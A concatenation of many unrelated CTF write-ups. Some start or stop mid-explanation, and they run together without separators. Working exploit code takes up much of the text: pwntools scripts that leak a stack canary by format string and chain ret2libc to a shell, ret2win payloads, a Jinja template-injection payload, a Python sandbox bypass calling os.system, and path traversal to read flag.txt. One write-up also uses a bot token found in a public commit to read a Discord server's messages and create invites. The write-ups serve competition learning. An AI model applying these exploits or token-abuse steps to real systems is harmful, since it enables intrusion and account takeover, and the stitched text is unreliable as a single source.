# ????????? | Crypto ### Solution From ctf we have got ciphertext.md file. ##### ciphertext.md ```markdown"????? ????? ???? ??? ??" ?? ??? ????? ?????? ???????? ?? ????????????? ??? ?????????? ???? ??????, ???????? ?? 27 ???? 1987. ?? ?????????? ??? ???????? ?? ????? ?????? ????????, ??? ??? ?????????? ??? ????? ?????? ???? ??????'? ????? ?????, ???????? ??? ???????????? (1987). ??? ???? ??? ? ????????? ??????-??? ???, ??????????? ??? ?????? ??????? ?? 1987, ????? ?? ?????? ?? ??? ??? ?? ???????? ??? ???? ????? ??? ??? ??? ????-??????? ?????? ?? ???? ????.?? ?????????? ?????? ??? ?????? ?? 25 ?????????, ????????? ????????? ?????? ??? ???? ???????.[6] ??? ???? ??? ???? ??????? ???????? ??? 1988 ???? ??????. ??? ????? ????? ??? ??? ???? ??? ?????? ??? ????? ??? ??? "???????????" ???????? ????. ?? 2008, ?????? ??? ??? ??? ?????? ?????????? ??? ???? ??? ???? ???? ??? ????, ?? ? ?????? ?? ???????????????? ???? ????????? ?? ?????? ?? ??? ????????, ??? ?? ?????????? ?????????? ?? ???????????.[7] ??? ???? ?? ????????????????'? ????????? ???? ??? ?? ?? ????? ?????? ?? ??? ??? ?? ??????? ????????. ?? 2019, ?????? ???????? ??? ???????? ? '??????????' ??????? ?? ??????? ??? ??? ????? ??? ???? ?? ??, ????? ???????? ? ??? ????????????????.[8] ??????????? ?????????? [?????????'? ??????? ?? ??? ???????](?????://??.?????????.???/????/?????_?????_????_???_??) ??????{?????_??_???_???_??_?????_???????}``` After quick look at the content of the file I assume that this is substitution cipher. I know few websites that could easily break this kind of cipher, but none of them accept unicode chars so I wrote simple python script to deal with it and replace all unicode to alphabetic chars. ```pyfrom string import ascii_letters, printable with open("ciphertext.md", "r") as f: cip = f.read() unique = {}count = 0 for v in cip: if v != ' ' and v != '\n' and v not in printable: if v not in unique: unique[v] = ascii_letters[count] cip = cip.replace(v, unique[v]) count += 1 print(cip)``` Running this script resulted with this mess:```md"abcbd efaag ehcb ifj jk" hl mnb obpjm lhaeqb dbrfdobo pi baeqhln lhaebd gao lfaesdhmbd dhrt glmqbi, dbqbglbo fa 27 ujqi 1987. hm sgl sdhmmba gao kdfojrbo pi lmfrt ghmtba sgmbdvga, gao sgl dbqbglbo gl mnb whdlm lhaeqb wdfv glmqbi'l obpjm gqpjv, snbabcbd ifj abbo lfvbpfoi (1987). mnb lfae sgl g sfdqoshob ajvpbd-fab nhm, hahmhgqqi ha mnb jahmbo thaeofv ha 1987, snbdb hm lmgibo gm mnb mfk fw mnb rngdm wfd whcb sbbtl gao sgl mnb pblm-lbqqhae lhaeqb fw mngm ibgd. hm bcbamjgqqi mfkkbo mnb rngdml ha 25 rfjamdhbl, harqjohae mnb jahmbo lmgmbl gao sblm ebdvgai.[6] mnb lfae sfa pblm pdhmhln lhaeqb gm mnb 1988 pdhm gsgdol. mnb vjlhr chobf wfd mnb lfae ngl pbrfvb mnb pglhl wfd mnb "dhrtdfqqhae" hambdabm vbvb. ha 2008, glmqbi sfa mnb vmc bjdfkb vjlhr gsgdo wfd pblm grm bcbd shmn mnb lfae, gl g dbljqm fw rfqqbrmhcb cfmhae wdfv mnfjlgaol fw kbfkqb fa mnb hambdabm, ojb mf mnb kfkjqgd knbafvbafa fw dhrtdfqqhae.[7] mnb lfae hl rfalhobdbo glmqbi'l lheagmjdb lfae gao hm hl fwmba kqgibo gm mnb bao fw nhl qhcb rfarbdml. ha 2019, glmqbi dbrfdobo gao dbqbglbo g 'khgafwfdmb' cbdlhfa fw mnb lfae wfd nhl gqpjv mnb pblm fw vb, snhrn wbgmjdbl g abs khgaf gddgaebvbam.[8] lngvbqbllqi rfkhbo wdfv [shthkbohg'l gdmhrqb fa mnb ljpubrm](nmmkl://ba.shthkbohg.fde/shth/abcbd_efaag_ehcb_ifj_jk) prgrmw{lfddi_sb_dga_fjm_fw_djabl_ludnspe}``` As I mentioned earlier, I knew few websites that could decode this kind of encryption and [this was one of them](https://planetcalc.com/8047/)```md"NEVER GONNA GIVE YOU UP" IS THE DEBUT SINGLE RECORDED BY ENGLISH SINGER AND SONGWRITER RICK ASTLEY, RELEASED ON 27 JULY 1987. IT WAS WRITTEN AND PRODUCED BY STOCK AITKEN WATERMAN, AND WAS RELEASED AS THE FIRST SINGLE FROM ASTLEY'S DEBUT ALBUM, WHENEVER YOU NEED SOMEBODY (1987). THE SONG WAS A WORLDWIDE NUMBER-ONE HIT, INITIALLY IN THE UNITED KINGDOM IN 1987, WHERE IT STAYED AT THE TOP OF THE CHART FOR FIVE WEEKS AND WAS THE BEST-SELLING SINGLE OF THAT YEAR. IT EVENTUALLY TOPPED THE CHARTS IN 25 COUNTRIES, INCLUDING THE UNITED STATES AND WEST GERMANY.[6] THE SONG WON BEST BRITISH SINGLE AT THE 1988 BRIT AWARDS. THE MUSIC VIDEO FOR THE SONG HAS BECOME THE BASIS FOR THE "RICKROLLING" INTERNET MEME. IN 2008, ASTLEY WON THE MTV EUROPE MUSIC AWARD FOR BEST ACT EVER WITH THE SONG, AS A RESULT OF COLLECTIVE VOTING FROM THOUSANDS OF PEOPLE ON THE INTERNET, DUE TO THE POPULAR PHENOMENON OF RICKROLLING.[7] THE SONG IS CONSIDERED ASTLEY'S SIGNATURE SONG AND IT IS OFTEN PLAYED AT THE END OF HIS LIVE CONCERTS. IN 2019, ASTLEY RECORDED AND RELEASED A 'PIANOFORTE' VERSION OF THE SONG FOR HIS ALBUM THE BEST OF ME, WHICH FEATURES A NEW PIANO ARRANGEMENT.[8] SHAMELESSLY COPIED FROM [WIKIPEDIA'S ARTICLE ON THE SUBJECT](HTTPS://EN.WIKIPEDIA.ORG/WIKI/NEVER_GONNA_GIVE_YOU_UP) BCACTF{SORRY_WE_RAN_OUT_OF_RUNES_SJRHWBG}``` In ctf description is mentioned that flag is lower case, so let's change it quick```bash$ python -c 'print("BCACTF{SORRY_WE_RAN_OUT_OF_RUNES_SJRHWBG}".lower())'bcactf{sorry_we_ran_out_of_runes_sjrhwbg}``` ### Flag bcactf{sorry_we_ran_out_of_runes_sjrhwbg} #### Credits - Writeup by [HuntClauss](https://ctftime.org/user/106464)- Solved by [HuntClauss](https://ctftime.org/user/106464)- WaletSec 2021 #### License **CC BY 4.0** WaletSec + HuntClauss
Every 5th chars are same and other chars' diffrence in ascii value are increasing by one. Example: `Lorem<space>` `Lpthq<space>` `L` s are same ` o` and `p` have 1 diffrence in ascii values ` r` and `t` have 2 diffrence in ascii values ` e` and `h` have 3 diffrence in ascii values ` m` and `q` have 4 diffrence in ascii values spaces are same... ### Solution script ```pyplaintext= "bagelarenotwholewheatsometimes"counter=0for char in plaintext: print(chr(ord(char)+counter),end="") counter+=1 if counter==5: counter=0``` flag : `dam{bbihpasgqstxjrpexjhettqpitjohw}`
timer.c ```C#include <stdio.h>#include <stdlib.h>#include <time.h> int main() { time_t t = time(0); srand(t); int n1 = rand() % 40; int n2 = rand() % 40; printf("%d\n", n1); printf("%d\n", n2); return 0;} ``` exploit.py ```pythonfrom pwn import * def pwn(): n1 = int(h.recvline().strip()) n2 = int(h.recvline().strip()) r.sendline(b'jump up and down') # decrease first random number to zero for x in range(n1): r.recvuntil(b'up):') r.sendline(b'x') r.sendafter(b'write?', b'A'*28 + p32(8)) r.recvuntil(b'up):') r.sendline(b'w') # decrease second random number to -1 for x in range(n2+1): r.recvuntil(b'up):') r.sendline(b'x') r.sendafter(b'write?', b'A'*28 + p32(1)) r.recvuntil(b'up):') r.sendline(b'a') # write win function address to return address r.recvuntil(b'up):') r.sendline(b'x') r.sendlineafter(b'write?', b'A' * 8 + p64(0x400fa0)) print(r.recvall()) r.interactive() if __name__ == '__main__': h = process('./timer') if len(sys.argv) > 1: r = remote(sys.argv[1], int(sys.argv[2])) else: r = process(['./magic-marker']) print(util.proc.pidof(r)) pwn()```
You can download challenge file from [here](http://https://github.com/ebubekirtrkr/ebubekirtrkr.github.io/blob/master/assets/files/potter/cookie-monster?raw=true) ##### file cookie-monster```bashcookie-monster: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=998281a5f422a675de8dde267cefad19a8cef519, not stripped``` ##### checksec cookie-monster``` Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)```##### main function```cundefined4 main(void) { undefined *puVar1; puVar1 = &stack0x00000004; setbuf(stdin,(char *)0x0); setbuf(stdout,(char *)0x0); bakery(puVar1); return 0;}``` ##### bakery function```cvoid bakery(void) { int in_GS_OFFSET; char local_30 [32]; int local_10; local_10 = *(int *)(in_GS_OFFSET + 0x14); printf("Enter your name: "); fgets(local_30,0x20,stdin); printf("Hello "); printf(local_30); // FORMAT STRING here since it directly writes user input as format parameter puts("Welcome to the bakery!\n\nCurrent menu:"); system("cat cookies.txt"); puts("\nWhat would you like to purchase?"); fgets(local_30,0x40,stdin); //BOF here since local_30 has 32 but it trys to write 0x40(64) puts("Have a nice day!"); if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) { __stack_chk_fail_local(); } return;}``` Bakery has bof vulnerabilty, but canary enabled so we should leak canary first. Luckly it has format string vulnerabilty too. After leaking canary, we should call system with `/bin/sh` string. I couldn't realize that elf has `bin/sh` inside in it, so I went for `ret2libc` attack. Since we have limited payload size instead of calling `puts` with one libc function address, I leak `setbuf` address with format string also, then use it in `ret2libc`. Full scripts is```pyfrom pwn import *from pwnlib.util.cyclic import cyclic, cyclic_find #context.log_level="debug"context.terminal = ["tmux", "splitw", "-h"] elf = ELF("./cookie-monster")context.arch=elf.arch p = remote("chals.damctf.xyz", 31312) #gdb scriptg = """ b *bakery + 226 c""" #p = elf.process()#gdb.attach(p,g) #LEAK CANARY AND address of setbuf#payload="AAAA"+"|%p"*30payload="%15$p%11$p"p.sendline(payload) p.recvuntil(b'0x')canary = int("0x"+p.recv(8).decode(),16) p.recvuntil(b'0x')setbuf = int("0x"+p.recv(8).decode(),16) log.info("canary: "+hex(canary))log.info("setbuf address: "+hex(setbuf)) #local testing#libc=ELF("/lib/i386-linux-gnu/libc.so.6") #get appopriate libc#https://libc.blukat.me/?q=setbuf%3A0xf7d6a040&l=libc6-i386_2.27-3ubuntu1.4_amd64libc=ELF("./libc6-i386_2.27-3ubuntu1.4_amd64.so",checksec=False) #adjust libc start addresslibc.address= setbuf - libc.symbols["setbuf"] cannary_offset = cyclic_find("iaaa") bof_offset = cyclic_find("daaa") BINSH = next(libc.search(b"/bin/sh\x00")) #create rop that calls libc systemlibc_rop = ROP(libc)libc_rop.call(libc.symbols["system"],[BINSH]) #print(libc_rop.dump()) #JUNK+CANARY+JUNK2+ROPpayload=cyclic(cannary_offset)+p32(canary)+cyclic(bof_offset)+libc_rop.chain() p.recvuntil("What would you like to purchase?\n")p.sendline(payload) p.interactive()#dam{s74CK_c00k13S_4r3_d3L1C10Us}```
```#0x33cfrom pwn import *from string import ascii_lowercase alphabet = list(ascii_lowercase)total = 0 r = remote("code.deadface.io", 50000)r.recvuntil("Your word is: ")word = r.recvline().decode("UTF-8")for i in list(word): if i in alphabet: total += alphabet.index(i)r.sendline(str(total))print(r.recvline_contains("flag{".encode()))``` Rate please ;)
[Original writeup](https://github.com/piyagehi/CTF-Writeups/blob/main/2021-DEADFACE-CTF/NTA.md#luciafer-you-clever-little-devil--50pts) (https://github.com/piyagehi/CTF-Writeups/blob/main/2021-DEADFACE-CTF/NTA.md#luciafer-you-clever-little-devil--50pts)
# zoom2win by ZeroDayTea what would CTFs be without our favorite ret2win (nc 143.198.184.186 5003) ## Analysis In this challenge we were given an ELF-64bit named `zoom2win` with no canary, NX enabled, and no PIE. ```$ file zoom2win; checksec zoom2win zoom2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f4a85541e0d661960a7b05ed51b3513d58e85a5a, for GNU/Linux 3.2.0, not stripped[*] '/home/kali/Documents/killerqueen/zoom2win' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)``` Let's try to run it ```./zoom2win Let's not overcomplicate. Just zoom2win :)chicken nugget ``` It seems that the program doesn't do anything. Let's open the program using ida to see what the source code looks like. #### main function```cint __cdecl main(int argc, const char **argv, const char **envp){ __int64 v3; // rbp __int64 v5; // [rsp-28h] [rbp-28h] __int64 v6; // [rsp-8h] [rbp-8h] __asm { endbr64 } v6 = v3; sub_401070("Let's not overcomplicate. Just zoom2win :)", argv, envp); return sub_401090(&v5;;}``` From the source code, there is another function that caught my eyes. It's a `flag` function. Let's take a look. #### flag```c__int64 flag(){ __asm { endbr64 } return sub_401080("cat flag.txt");}``` From the main function, it seems that we need to overflow the input and jump into the `flag` function. First, we could use gdb to create a pattern.```$ gdb -q ./zoom2win Reading symbols from ./zoom2win...(No debugging symbols found in ./zoom2win)gdb-peda$ pattern create 80'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A'``` Next, run the program and send the pattern.```gdb-peda$ rStarting program: /home/kali/Documents/killerqueen/zoom2win Let's not overcomplicate. Just zoom2win :)AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A Program received signal SIGSEGV, Segmentation fault.``` From the output above, we can determine which part of our pattern is hitting the return in the main function by examining the `$rsp`.```gdb-peda$ x/gx $rsp0x7fffffffdf48: 0x4141464141304141gdb-peda$ pattern offset 0x41414641413041414702116732032008513 found at offset: 40``` Nice, we got the offset/padding. Now we need to know the address of `flag` function.```gdb-peda$ info funcAll defined functions: Non-debugging symbols:0x0000000000401000 _init0x0000000000401070 puts@plt0x0000000000401080 system@plt0x0000000000401090 gets@plt0x00000000004010a0 setvbuf@plt0x00000000004010b0 _start0x00000000004010e0 _dl_relocate_static_pie0x00000000004010f0 deregister_tm_clones0x0000000000401120 register_tm_clones0x0000000000401160 __do_global_dtors_aux0x0000000000401190 frame_dummy0x0000000000401196 flag0x00000000004011b2 main0x00000000004011de bufinit0x0000000000401250 __libc_csu_init0x00000000004012c0 __libc_csu_fini0x00000000004012c8 _fini``` ## Exploit Let's make a solver using python```pythonfrom pwn import * padding = 40 # offset from the input to returnflag = 0x0000000000401196 # flag address s = process("./zoom2win") payload = b""payload += b"A"*paddingpayload += p64(flag) print(s.recvline())s.sendline(payload)print(s.recvall()) s.close()``` Now we need to do is just run the program to make sure it works!![](zoom2win-local.png) Since it works, lets test on remote server by adding host, port and replacing `s = process("./zoom2win")` to `s = remote(host, port)````pythonfrom pwn import * padding = 40ret_main = 0x00000000004011ddflag = 0x0000000000401196 host = "143.198.184.186"port = 5003 # s = process("./zoom2win")s = remote(host, port) payload = b""payload += b"A"*paddingpayload += p64(flag) print(s.recvline())s.sendline(payload)print(s.recvall()) s.close()``` Now all we need to do is just run the program! ![](zoom2win-serverTry.png) Wait what? Sadly we didn't get the flag :( After some research, it seems the problem is stack alignment (Reference: [Buffer overflow stack alignment](https://youtu.be/vqNQe9xjz2Q)). From the youtube video, all that we need is just the address of return in the main function and put it after padding. ```pythonfrom pwn import * padding = 40ret_main = 0x00000000004011ddflag = 0x0000000000401196 host = "143.198.184.186"port = 5003 # s = process("./zoom2win")s = remote(host, port) payload = b""payload += b"A"*paddingpayload += p64(ret_main)payload += p64(flag) print(s.recvline())s.sendline(payload)print(s.recvall()) s.close()``` Now let's run the program again :D![](zoom2win.png) Flag: `kqctf{did_you_zoom_the_basic_buffer_overflow_?}`
**One You're Searching**1. Riya Lahiri --> username search at location Dubai, United Arab Emirates `(facebook)` (https://www.facebook.com/profile.php?id=100074411018807) -->search for everything ,you will find a liked post, the other liked person facebook page is (https://www.facebook.com/profile.php?id=100073319645629) 2. there we can find this image is nilgiri resort , after searching for the other clues , if we exif the images we will get twiiter account usernames in copyright section --> (https://twitter.com/AaCashX0000) 3. we can find the same image that we found in facebook page ,so we can confirm the account as correct 4. as we can see the Hashtags in twiiter page `#Workz #3r_ror #Hack33rpy #searhj0b #Transfers #IM_Age #Qrz0ne #Mypathgit #Resume_Day #CodeF0rFriend #flagd0tpy` 5. github protfolio they mentioned as hint--> (https://github.com/CodeF0rFriend/CodeF0rFriend) 6. if we search on docs/imgs --> there are many QR codes,, the last one work7.png is correct one FLAG:` EHACON{H!Ma1a64} `
**Use Me** - For challenge given an pcap file if we analyze http responses, we will get this ```### Notes* [X] Setup a ftp server on chall.ctf-ehcon.ml* [X] Decide another port other than 21. Probably 31337 would be a great choice.* [ ] Hardining the server. ``` - if we connect to ftp you will seen a dockerhub website , (https://hub.docker.com/r/ircashem/ftp-personal) - I trying with default credentials `one|1234`, but - Directly trying connect to ftp server not working for me , so i just went into source docker file from github page (https://github.com/ircashem/ftp-use-me/blob/main/Dockerfile) FLAG: `EHACON{4n_h77p_r3qu357}`
Used `exec` to bypass blacklist ```__import__('so'[::-1]).system('ls')exec("print(open('cf7728be7980fd770ce03d9d937d6d4087310f02db7fcba6ebbad38bd641ba19.txt').read())")```
my payload is `{{('""%2bo'%2b((111%2b1)|ch)%2b'e'%2b((111-1)|ch)%2b'("'%2b((46%2b1)|ch)%2b((114-11-1)|ch)%2b'l'%2b((111-14)|ch)%2b((114-11)|ch)%2b'")'%2b(46|ch)%2b're'%2b((111-14)|ch)%2b'd()')|e}}` my solution ``` import requestss = requests.session()payload='''{{('""%2bo'%2b((111%2b1)|ch)%2b'e'%2b((111-1)|ch)%2b'("'%2b((46%2b1)|ch)%2b((114-11-1)|ch)%2b'l'%2b((111-14)|ch)%2b((114-11)|ch)%2b'")'%2b(46|ch)%2b're'%2b((111-14)|ch)%2b'd()')|e}}''' url = 'https://super-secure-translation-implementation.chals.damctf.xyz/secure_translate/?payload='+payloadres = s.get(url).textprint(res) ```[read detail ](https://github.com/magnetohvcs/ctf/blob/main/damctf/web-super-secure-translation-implementation/readme.md)
**Lost Fresher** Description: * Hello There, I am L0stFresh3r. I have given my interview and passed my 1st round. I can pass the last round only if I get the flag. Can you help to find it?* 1. If we tried username lookup we can find this ([https://twitter.com/L0stFresh3r/status/1456688265029849088](https://twitter.com/L0stFresh3r/status/1456688265029849088)) --> `c2VsZWN0ZWQgZm9yIHRoZSAxc3Qgcm91bmQ-` --> he is selected for first round 2. There we can find the job company account ([https://twitter.com/Follow_Omegby1](https://twitter.com/Follow_Omegby1)) 3. ([https://docs.google.com/spreadsheets/d/1cWvqyjRUNEz8yzmFgjSuJw5DFTwXVmphXvpGH4Y6LVI/edit#gid=0](https://docs.google.com/spreadsheets/d/1cWvqyjRUNEz8yzmFgjSuJw5DFTwXVmphXvpGH4Y6LVI/edit#gid=0)) here we got the candidates list , so checking the title there is another cipher with base64 encoded `O5FoQ5Au9mxkMLBoNK7dPWtXPqojAJAqHaFNAo6-=` --> using `+\-0-9A-Za-z` we get ([https://pastebin.com/1S6NdY3B](https://pastebin.com/1S6NdY3B)) 4. In feedback section of the candidate list the is another cipher and another pastbin link , we tried that but its a fake flag. 5. after we can see the feedback of the real candidate `InVinciR@Y` -->`Your name is Special! Your key of success. Like your working skils,Do not fall into any trap, please check your result`, as this sentence given in his feedback 6. so the twitter id is `InVinciR@Y_xZ9HQjYixz` --> seems like a key so if we tried that as password for pastebin we will get the flag as `EHACON{WTAtSDAhVUNyM0NLX0lUIQ==}` 7. once again decrypt the base64 :) FLAG: `EHACON{Y0-H0!UCr3CK_IT!}`
**The Quartz** Description : *The___Quartz, a renowned watch showroom in Scotland, is famous for selling world class branded watches. She also brought watches from here. They have done so many things to show her a tribute, after her demise. What is the model number of her watch?* 1. Reading the Description carefully we can note The__Quartz and its a instagram profile ([http://instagram.com/the____quartz](http://instagram.com/the____quartz)) and you can see this link([https://cutt.ly/zRR1BNn](https://cutt.ly/zRR1BNn)) 2. there we can find the github pages website ([https://itsjd20.github.io/O-S-I-N-T/#about](https://itsjd20.github.io/O-S-I-N-T/#about)) 3. checking with the given images I founded some binary (its a small troll binary) 4. after checking every image in reverse image search I found that the background image with mountains (final.jpg) --> its a place in scotland , so I found the Hex values in the website source code , I found the **007** as the place is the movie shoot spot for **James Bond skyfall in 2013.** 5. After I understood the tribute is for Dead person who is a part of that movie, she is Agent M , watch model used in skyfall is `Hamilton Jazzmaster Lady Quartz, modelnr. H32261735`
In this challenge we need to exploit Linux kernel. In the kernel module, tcp_prot.ioctl of TCP socket is written to self-defined function stonks_ioctl, and sk_prot->recvmsg of TCP socket is written to self-defined function stonks_rocket inside one of the handlers in stonks_ioctl. The vulnerability is a use-after-free caused by race condition: sk_user_data field of struct sock is fetched before blocking in stonks_rocket and can be freed while blocking, and one of its function pointer field will be called after blocking. Therefore, we perform heap spray to control its function pointer field so to control rip in kernel mode. Since SMEP is not enabled, we can execute shellcode in user-space memory to call commit_cred(prepare_kernel_cred(0)) and get root privilege.
This UsrClass.dat is a MS Windows registry file contains information regarding applications which have been executed. We can map all the files with the software [ShellBags Explorer](https://www.sans.org/tools/shellbags-explorer/). Like that: ![](https://cdn.discordapp.com/attachments/906373269270188082/906434596814610432/unknown.png) There is here some suspicious directory names, so if the path names is the only thing that we have, let's search this on Google... ![](https://i.imgur.com/cg0U5Fo.png) ![](https://i.imgur.com/BQwEfZl.png) Yeah, we got that!So, after some checks on the Github Repositories, we found this Discord Bot Token on commits: ![](https://i.imgur.com/YPPBYaT.png) At first moment, We can up this bot to read all messages, members and channels of all servers that this bot is related. ```pyimport discord, base64from discord.ext import commands bot = commands.Bot(command_prefix='$', case_insensitive=True) @bot.eventasync def on_ready(): print('We have logged in as {0.user}'.format(bot)) for guild in bot.guilds: print("Servers:") print(guild.name) for member in guild.members: print("Members:") print(member) for channel in guild.text_channels: print("Channels:") print(channel.name) for current_message in await channel.history(limit=500).flatten(): print(current_message.author) print(current_message.content) token = base64.b64decode(b'T0RReU1qUTNPRFl6TWpVek56STVNamt3LllKeWljZy43S0c5MzRWRWxtM1J0Wm45YlVhQ0xTdnJPeUk=').decode()bot.run(token)``` ![](https://i.imgur.com/K1lgTBi.png) This worked!, a lot of messages like this SUP3R H4CK3R W3BCH4T above, bot nothing of flag :( So... let's create a invite for this Discord server... ```pyimport discord, base64from discord.ext import commands... for channel in guild.text_channels: link = await channel.create_invite(max_age = 300) print(link)...``` ![](https://i.imgur.com/Y0dTM17.png) BOOM! Tha flag did'nt appear before because this text was embbeded, and the bot was only showing normal messages. `dam{Ep1c_Inf1ltr4t0r_H4ck1ng!!!!!!1!}`
TL;DR (the harder way): 1. notice that s = 0 actually pass2. attack assuming that s = 03. profit! TL;DR (referenced from rbtree god): 1. hash your command and send it with your public key2. ??3. profit!
Solved by [Amdj3dax](https://github.com/amdjedbens) from [OctaC0re](https://ctftime.org/team/141485) team. Hey! I made a cool website that shows off my favorite poems. See if you can find flag.txt somewhere! http://web.chal.csaw.io:5003 Just changed the GET argument to "../flag.txt" http://web.chal.csaw.io:5003/poems/?poem=../flag.txt and there you go: **flag{l0c4l_f1l3_1nclusi0n_f0r_7h3_w1n}**
# SQL challenges ## IntroductionThis writeup is for all the challenges under the category of `sql`. All challenges use one database dump, here is how to load it: 1. Download the SQL dump2. Make sure MySQL or MariaDB is installed on your system3. Log in to mysql and create a database ```sql $ mysql -u root -p mysql> CREATE DATABASE [new_database]; ```4. Import the database using the following command ```bash $ mysql -u root -p [new_database] < [sql_dump_name] ```5. Use the database using the following command: ```sql mysql> USE [new_database]; ``` These are the tables within the database: ```sqlmysql> SHOW TABLES;+---------------------+| Tables_in_bodycount |+---------------------+| credit_cards || cust_passwd || customers || employee_passwd || employees || loan_types || loans || test |+---------------------+8 rows in set (0.000 sec)``` Now, on to the challenges! ## Body Count | 10pts ### Solution```sqlmysql> SELECT COUNT(cust_id) FROM customers;+----------------+| COUNT(cust_id) |+----------------+| 10000 |+----------------+1 row in set (0.003 sec)``` Flag: `flag{10000}` ## Keys | 20pts ### SolutionThis one took a bit of while to get right (as you can see I almost ran out of attempts too). #### Initial Attempt```sqlmysql> DESC loans;+--------------+---------------+------+-----+---------+----------------+| Field | Type | Null | Key | Default | Extra |+--------------+---------------+------+-----+---------+----------------+| loan_id | smallint(6) | NO | PRI | NULL | auto_increment || cust_id | smallint(6) | NO | MUL | NULL | || employee_id | smallint(6) | NO | MUL | NULL | || amt | decimal(10,2) | NO | | NULL | || balance | decimal(10,2) | NO | | NULL | || interest | decimal(10,2) | YES | | NULL | || loan_type_id | smallint(6) | NO | MUL | NULL | |+--------------+---------------+------+-----+---------+----------------+7 rows in set (0.001 sec)``` The initial flags I tried were flag{cust_id}, flag{employee_id} and flag{loan_type_id}. None of them seemed to work. Considering I had only two attempts left, I searched this up on google to see if I was doing something wrong. #### Actual Solution I found an article, which led to the correct solution - https://tableplus.com/blog/2018/08/mysql-how-to-see-foreign-key-relationship-of-a-table.html ![](images/sql-article.png) Modified the query a bit, which returned the following result: ```sqlmysql> SELECT COLUMN_NAME, CONSTRAINT_NAME, REFERENCED_TABLE_NAME FROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE WHERE TABLE_NAME = 'loans';+--------------+-----------------------+-----------------------+| COLUMN_NAME | CONSTRAINT_NAME | REFERENCED_TABLE_NAME |+--------------+-----------------------+-----------------------+| loan_id | PRIMARY | NULL || cust_id | fk_loans_cust_id | customers || employee_id | fk_loans_employee_id | employees || loan_type_id | fk_loans_loan_type_id | loan_types |+--------------+-----------------------+-----------------------+4 rows in set (0.001 sec)``` I tried a flag with one of the records from the CONSTRAINT_NAME column, and it worked! Flag: `flag{fk_loans_cust_id}` | `flag{fk_loans_employee_id}` | `flag{fk_loans_loan_type_id}` ## Address Book | 30pts ### SolutionHere's what the Ghost Town thread mentions: ![](images/sql-article3.png) So the query should include the following constraints:- The gender is female- The city is Vienna Enter these constraints in the query and you have your answer, as there is only one female from Vienna in the database. ```sqlmysql> SELECT CONCAT(first_name, " ", last_name) FROM customers WHERE city="Vienna" AND gender="F";+------------------------------------+| CONCAT(first_name, " ", last_name) |+------------------------------------+| Collen Allsopp |+------------------------------------+1 row in set (0.008 sec)``` Flag: `flag{Collen Allsopp}` ## City Lights | 40pts ### Solution```sqlSELECT COUNT(DISTINCT city) FROM employees;+----------------------+| COUNT(DISTINCT city) |+----------------------+| 444 |+----------------------+1 row in set (0.036 sec)``` Flag: `flag{444}` ## Boom | 100pts ### Solution Here is what the Ghost Town thread mentions: ![](images/sql-article6-1.png) The thread leads to this article - https://www.investopedia.com/terms/b/baby_boomer.asp ![](images/sql-article6-2.png) This clears the conditions to be added in the WHERE clause. Before typing the query, I checked the data type of the dob field:```sqlmysql> DESC customers;+------------+-------------+------+-----+---------+----------------+| Field | Type | Null | Key | Default | Extra |+------------+-------------+------+-----+---------+----------------+| cust_id | smallint(6) | NO | PRI | NULL | auto_increment || last_name | tinytext | NO | | NULL | || first_name | tinytext | NO | | NULL | || email | tinytext | NO | | NULL | || street | tinytext | NO | | NULL | || city | tinytext | NO | | NULL | || state | tinytext | NO | | NULL | || country | tinytext | NO | | NULL | || postal | tinytext | NO | | NULL | || gender | tinytext | NO | | NULL | || dob | tinytext | NO | | NULL | |+------------+-------------+------+-----+---------+----------------+11 rows in set (0.001 sec)``` As it is a string, I used the SUBSTRING function to extract the year, and converted it to an INT type so that the years can be compared. ```sqlmysql> SELECT COUNT(dob) FROM customers WHERE CONVERT (SUBSTRING(dob, 7, 4), INT) >= 1946 AND CONVERT(SUBSTRING(dob, 7, 4), INT) <=1964;+------------+| COUNT(dob) |+------------+| 2809 |+------------+1 row in set (0.009 sec)``` Flag: `flag{2809}` ## El Paso | 250pts ### Solution ```sqlmysql> SELECT SUM(balance) FROM loans JOIN employees ON loans.employee_id = employees.employee_id WHERE employees.city = 'El Paso';+--------------+| SUM(balance) |+--------------+| 877401.00 |+--------------+``` Flag: `flag{$877,401.00}` ## All A-Loan | 375pts ### Solution ```sqlmysql> SELECT employees.city, SUM(loans.balance) AS outstanding FROM employees JOIN loans ON employees.employee_id = loans.employee_id WHERE loans.loan_type_id = 3 AND employees.state = "CA" GROUP BY employees.city ORDER BY outstanding DESC LIMIT 1;+---------+-------------+| city | outstanding |+---------+-------------+| Oakland | 90600.00 |+---------+-------------+1 row in set (0.008 sec)``` - SUM(loans.balance) has an alias of "outstanding" to make it easier to reference later in the query.- The two tables, employees and loans are joined using the primary and foreign key.- The loan type id is set to 3 (Small Business loans) and the state is set to California.- The output is grouped by the cities so the balance is calculated for each city.- The database is ordered in descending order of balance and limited to 1 entry, showing us the highest amount, and the answer to this challenge! Fun fact: I wasted 4/5 attempts on this challenge as I kept referencing the customers table instead of employees ?. Flag: `flag{Oakland_$90,600.00}`
# Unfinished ![Category](http://img.shields.io/badge/Category-Programming-orange?style=for-the-badge) ![Points](http://img.shields.io/badge/Points-5-brightgreen?style=for-the-badge) ## Details ```python#!/usr/bin/env python3from binascii import unhexlify as u def get_flag(): flag = '666c61677b30682d6c6f6f6b2d612d466c61477d' return u(flag).decode('utf-8') print(f'The flag is: ')``` At the moment this code never calls the **get_flag()** funtion. it just defines it. If we change the bottom line of code to `print(get_flag())` Then run the script we get.... ## flag{0h-look-a-FlaG}
Standard return to `flag` function challenge: writeup [https://ctf.rip/write-ups/pwn/killerqueen-pwns/#zoom2win](https://ctf.rip/write-ups/pwn/killerqueen-pwns/#zoom2win)
